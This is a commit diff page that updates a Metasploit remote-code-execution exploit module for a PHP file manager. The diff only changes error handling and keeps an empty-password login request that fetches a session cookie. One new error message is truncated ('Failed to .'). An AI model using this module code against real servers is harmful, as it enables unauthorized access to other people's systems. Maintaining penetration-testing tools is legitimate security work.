Update phpfilemanager_rce.rb
parent
a2d51d48cd
commit
869caf789f
|
@ -82,13 +82,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => uri,
|
||||
'vars_post' => {
|
||||
'frame' => '3',
|
||||
'pass' => '' # yep this should be empty
|
||||
'pass' => '' # yep this should be empty
|
||||
}
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - Connection timed out")
|
||||
return :abort
|
||||
fail_with(Failure::Unknown, "Failed to .")
|
||||
end
|
||||
|
||||
location = res.headers['Location']
|
||||
|
@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
cookie = res.get_cookies
|
||||
cookie
|
||||
else
|
||||
vprint_error("#{peer} - Error entering the file manager")
|
||||
fail_with(Failure::Unknown, "#{peer} - Error entering the file manager")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue